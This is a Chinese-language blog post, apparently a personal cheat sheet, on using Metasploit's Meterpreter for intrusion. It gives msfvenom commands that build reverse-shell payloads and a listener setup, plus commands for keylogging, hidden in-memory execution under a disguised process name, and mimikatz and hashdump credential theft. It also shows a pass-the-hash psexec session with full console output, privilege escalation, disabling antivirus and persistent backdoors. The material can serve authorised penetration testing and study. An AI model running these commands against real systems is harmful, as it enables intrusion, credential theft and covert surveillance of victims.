Meterpreter

Fc04dB Lv4

# Meterpreter

# reverse_shell

# reverse_tcp

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell

Windows:

msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe

# reverse_http

payload:/windows/meterpreter/reverse_http

# reverse_https

payload:/windows/meterpreter/reverse_https

# bind_tcp

这是一个基于 TCP 的正向连接 shell,因为在内网跨网段时无法连接到 attack 的机器,所以在内网中经常会使用,不需要设置 LHOST。

msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell

# Meterpreter 的常用命令

# 1. 基本命令

help# 查看 Meterpreter 帮助

background# 返回,把 meterpreter 后台挂起

bgkill# 杀死一个背景 meterpreter 脚本

bglist# 提供所有正在运行的后台脚本的列表

bgrun# 作为一个后台线程运行脚本

channel# 显示活动频道

sessions -i number # 与会话进行交互,number 表示第 n 个 session, 使用 session -i 连接到指定序号的 meterpreter 会话已继续利用

sesssions -k number #与会话进行交互

close# 关闭通道

exit# 终止 meterpreter 会话

quit# 终止 meterpreter 会话

interact id #切换进一个信道

run# 执行一个已有的模块,这里要说的是输入 run 后按两下 tab,会列出所有的已有的脚本,常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等

irb# 进入 Ruby 脚本模式

read# 从通道读取数据

write# 将数据写入到一个通道

run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本

use# 加载 meterpreter 的扩展

load/use# 加载模块

Resource# 执行一个已有的 rc 脚本

# 2. 文件系统命令

cat c:\boot.ini# 查看文件内容,文件必须存在

del c:\boot.ini #删除指定的文件

upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如 upload setup.exe C:\windows\system32\

download nimeia.txt/root/Desktop/ # 下载文件到本机 如:download C:\boot.ini/root / 或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db/root/

edit c:\boot.ini # 编辑文件

getlwd# 打印本地目录

getwd# 打印工作目录

lcd# 更改本地目录

ls# 列出在当前目录中的文件列表

lpwd# 打印本地目录

pwd# 输出工作目录

cd c:\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir# 受害者系统上删除目录

dir# 列出目标主机的文件和文件夹信息

mv# 修改目标主机上的文件名

search -d d:\www -f web.config #search 文件,如 search -d c:\ -f*.doc

meterpreter > search -f autoexec.bat #搜索文件

meterpreter > search -f sea*.bat c:\xamp\

enumdesktops #用户登录数

在主机上运行某个进程(-H 是隐藏后台执行)

execute -H -f notepad.exe

在目标主机内存中直接执行我们攻击主机上的攻击程序

execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt"

  • -d 在目标主机执行时显示的进程名称(用以伪装)
  • -m 直接从内存中执行
  • "-o wce.txt" 是 wce.exe 的运行参数

“idletime” 命令为显示目标机器截止到当前无操作命令的时间

search 命令

  • “search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。
  • 使用 “search –h” 命令来查看 search 命令的帮助信息:
  • 下图中,“search –f aa.txt” 命令为查看目标机中在当前目录以及当前目录的子目录中有没有 aa.txt 这个文件,若有则显示出其路径。
  • “search –f l*.txt c:\pp” 为显示出 c:\pp 下及 pp 文件夹下所有的子文件下所有以 l 开头的 txt 文件,若有此类文件,则返回其路径和其大小。

edit 命令

调用 vi 编辑器,对目标主机上的文件修改

# 3. 网络命令

ipconfig/ifconfig# 显示网络接口的关键信息,包括 IP 地址

portfwd -h

用法:portfwd [-h] [add | delete | list | flush] [args]

  • 选项:
  • -L 要监听的本地主机(可选)
  • -h 帮助横幅
  • -l 要监听的本地端口
  • -p 连接到的远程端口
  • -r 要连接到的远程主机

portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听 4444, 把目标机 3389 转到本机 4444

netstat -an | grep“4444" #查看指定端口开放情况

rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用 rdesktop 来连接桌面,-u 用户名 -p 密码

rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接

route# 查看或修改受害者路由表

route add 192.168.1.0 255.255.255.0 1 #添加动态路由

route print #路由表输出

runget_local_subnets #目标主机的内网 IP 段情况

Arp #看 ARP 缓冲表

Getproxy #获取代理

# 4. 键盘监听

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

uictl enable keyboard/mouse# 接管目标主机的键盘和鼠标。

meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能

Starting the keystroke sniffer…

meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录

Dumping captured keystrokes…

dir cd

meterpreter > keyscan_stop #停止针对目标主机的键盘记录

Stopping the keystroke sniffer…

# 5. 系统命令

reboot# 重新启动受害人的计算机

reg# 与受害人的注册表进行交互

rev2self# 回到控制目标主机的初始用户账户下

shell# 获得控制台权限

shutdown# 关闭了受害者的计算机

sysinfo # 查看目标机系统信息,如机器名,操作系统等

add_user username password -h ip #在远程目标主机上添加一个用户

add_group_user “Domain Admins” username -h ip #将用户添加到目标主机的域管理员组中

# 6.mimikatz

meterpreter > load mimikatz #加载 mimikatz

meterpreter > msv #获取 hash 值

meterpreter > kerberos #获取明文

meterpreter >ssp #获取明文信息

meterpreter > wdigest #获取系统账户信息

meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示

meterpreter >mimikatz_command -f hash:: #获取目标 hash

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

# 7. 网络嗅探

meterpreter > use sniffer # 加载嗅探模块

Loading extension sniffer…success.

meterpreter > sniffer_interfaces #列出目标主机所有开放的网络接口

1 - ‘WAN Miniport (Network Monitor)’ ( type:3 mtu:1514 usable:true dhcp:false wifi:false )

2 - ‘Intel® PRO/1000 MT Desktop Adapter’ ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

3 - ‘Cisco Systems VPN Adapter’ ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )

meterpreter > sniffer_start 2 #获取正在实施嗅探网络接口的统计数据

[*] Capture started on interface 2 (50000 packet buffer)

meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探

[*] Flushing packet capture buffer for interface 2…

[*] Flushed 1176 packets (443692 bytes)

[*] Downloaded 100% (443692/443692)…

[*] Download completed, converting to PCAP…

[*] PCAP file written to /tmp/test2.cap

meterpreter > sniffer_stop 2 #停止嗅探

# 8. 获取敏感信息

run post/windows/gather/checkvm #是否虚拟机

run post/windows/gather/enum_applications #获取安装软件信息

run post/windows/gather/dumplinks #获取最近的文件操作

run post/windows/gather/enum_ie #获取 IE 缓存

run post/windows/gather/enum_chrome #获取 Chrome 缓存

run scraper #获取常见信息

# 9. 获取 Hash

使用 “hashdump” 命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主机的 SAM 文件,获取目标主机的账号密码 hash 信息

meterpreter > run post/windows/gather/smart_hashdump

# 10. 通过 Hash 获取权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description
------------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SHAREADMIN$ yes The share to connect to, can be an admi n share

(ADMIN$,C$,...) or a normal read/write folder share

SMBDomainWORKGROUP no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537

msf exploit(psexec) > exploit

[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

# 12. 得到远程桌面

run vnc

# 13. 权限提升

使用 “getuid” 获得当前的权限,migrate+PID 迁移进程(当我们攻击一个系统是,常常是对像是 IE 之类的服务漏洞进行利用的,可是不免有对方关闭 IE 的情况,那么我们的 meterpreter 会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将 sessions 迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到 PID 为 500 的是 administrator 权限,所以是迁移到 administrator 的权限,“getsystem –h” 升级为权限 SYSTEM 账户。这个模块可以用来提升我们的特权,有四个技巧。Meterpreter 自动检查四个方法并且尝试其最好方法。然后看到我们权限又变为了 system 权限了。

ps# 列出正在运行的进程

kill pid # 杀死进程

migrate pid # 将 Meterpreter 会话移植到进程数为 pid 的进程中,需要注意的是如果存在杀软的话可能会阻止进程注入,所以把会话进程注入到 svchost.exe 是一个好方法

getprivs# 尽可能获取尽可能多的特权

getuid #获得当前的权限

getsystem #通过各种攻击向量将一个管理帐户(通常为本地 Administrator 账户)提升为本地 SYSTEM 帐户

getsystem –h #升级权限 SYSTEM 账户

使用 MS14-058 之类的 Exp 进行提权:

meterpreter > background

[*] Backgrounding session 3…

msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu

msf exploit(ms14_058_track_popup_menu) > set SESSION 3

use priv# 加载特权提升扩展模块,来扩展 Meterpreter 库

# 14.SOCKS 代理

Metasploit 可以作为一个 SOCKS 代理服务器,具体步骤为首先通过 Metasploit 的某些模块建立会话,就像本章前面介绍的,建立完会话之后,执行 “route add +IP+mask+SID”,然后使用 “use auxiliary/server/socks4a” 命令来使用 sock4a 模块,执行 run 命令 ,socks 便会执行

然后再在命令行下执行 proxychains 命令,使用代理对目标主机进行扫描,nmap,nc 等都可以

img

img

# 15. 运行程序

我们还可以使用 “execute” 命令在目标系统中执行应用程序。这个命令的使用方法如下:

  • execute -f<file> [Options]
  • execute -f cmd.exe -i# 执行 cmd.exe 命令并进行交互
  • execute -f cmd.exe -i -t# 以所有可用令牌来执行 cmd 命令
  • execute -f cmd.exe -i -H -t# 创建新进程 cmd.exe,-H 不可见,-i 交互
  • execute -H -i -f cmd.exe
  • execute -H -m -d notepad.exe-f wce.exe -a “-o wce.txt”

运行后它将执行 file 参数所指定的文件。可选参数如下:

  • -H:创建一个隐藏进程
  • -a:传递给命令的参数
  • -i:跟进程进行交互
  • -m:从内存中执行
  • -t:使用当前伪造的线程令牌运行进程
  • -s:在给定会话中执行进程
  • -f 执行的程序文件
  • -d 在目标主机执行时显示的进程名称(用以伪装)
  • -o wce.txt" 是 wce.exe 的运行参数

更多命令…Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com)

# 常见脚本

1.arp_scanner

利用 arp 进行存活主机扫描

run arp_scanner-r 192.168.1.0/24

2.autoroute

可以添加,删除,显示路由表

3.checkvm

可以检测目标是否是虚拟机

4.credcollect

收集目标主机上的 hash 等凭证

5.domain_list_gen

获取域管理账户列表,并判断当前 session 所在用户是否在列表中

6.dumplinks

Link 文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和 office 目录中收集 lnk 文件

调用 post/windows/gather/dumplinks 获取目标主机上最近访问过的文档、链接信息

命令:run post/windows/gather/dumplinks

7.duplicate

再次产生 payload,注入到其他进程或打开新进程并注入其中

8.enum_chrome

获取 chrome 中的信息

9.enum_firefox

获取 firefox 中的信息,包括 cooikie,历史纪录,书签等

10.enum_logged_on_users

列出当前登录的用户

11.enum_powershell_env

列出 powershell 和 WSH 的配置文件

12.enum_putty

列出 putty 的配置文件

13.enum_shares

列出共享及历史共享

14.enum_vmware

列出 vmware 的配置文件和产品

15.event_manager

可以查询和清理事件日志

16.file_collector

搜索符合指定模式的文件

17.get_application_list

获取安装的程序列表及版本

18.getcountermeasure

列出 HIPS 和 AV 的进程,显示 XP 防火墙规则,并且显示 DEP 和 UAC 策略

Ps:-k 参数可以杀掉防护软件进程

19.get_env

获取所有用户的环境变量

20.get_filezilla_creds

获取 filezilla 的登陆凭证

21.getgui

可以很方便的开启远程桌面服务,添加用户,端口转发功能

22.get_local_subnets

获得本地的子网

23.get_pidgin_creds

获取 pidgin 配置文件中的用户名和密码

24.gettelnet

同之前开启终端桌面服务的脚本,这个是用来开启 telnet 的

25.get_valid_community

获取 SNMP community 字符串

26.getvncpw

获取 vnc 密码

27.hashdump

同 meterpreter 的内置功能

28.hostsedit

操作 hosts 文件

29.keylogrecorder

Meterpreter 内置此功能

30.killav

关闭防护软件

31.metsvc

将 payload 安装为服务

  1. migrate

将 meterpreter 会话移植到另一个进程

例如反弹的 meterpreter 会话是对方打开了一个你预置特殊代码的 word 文档而产生的,那么对方一旦关闭掉该 word 文档,我们获取到的 meterpreter 会话就会随之关闭,所以把会话进程注入到 explorer.exe 是一个好方法

可以先用 ps 命令看一下目标主机的 explorer.exe 进程的 pid,我们用 migrate pid 把 meterpreter 会话注入进去

33 .persistence

可见建立一个持久性的后门,设置成开机启动

  1. service_permissions_escalate

许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务,然后会搜索已存在 d 服务,找到不安全的文件或配置有问题的文件,用一个 payload 替换掉他,然后会尝试重启服务来运行这个 paylaod,如果重启服务失败,则在下次服务器重启时会执行 payload

35.vnc

可以看到远程桌面

  1. win32-sshserver

安装 openssh 服务

  1. winenum

会自动运行多种命令,将命令结果保存到本地

# 获取 meterpreter

1. 首先生成可执行文件

root @ kali:〜#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe

2. 启动 msfconsole,监听反连端口

root @ kali:〜#msfconsole

msf>use exploit/multi /handler

msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => window /meterpreter/reverse_tcp

msf exploit(handler)> set LHOST 0.0.0.0

msf exploit(handler)>set LPORT 444

msf exploit(handler)>show options

msf exploit(handler)>exploit


参考:Meterpreter 命令详解 - 渗透测试中心 - 博客园 (cnblogs.com)


MSFVenom Cheat Sheet - Easy Way To Create Metasploit Payloads | The Dark Source (archive.org)

  • Title: Meterpreter
  • Author: Fc04dB
  • Created at : 2024-11-16 20:55:13
  • Updated at : 2024-11-17 20:47:16
  • Link: https://redefine.ohevan.com/2024/11/16/Meterpreter/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments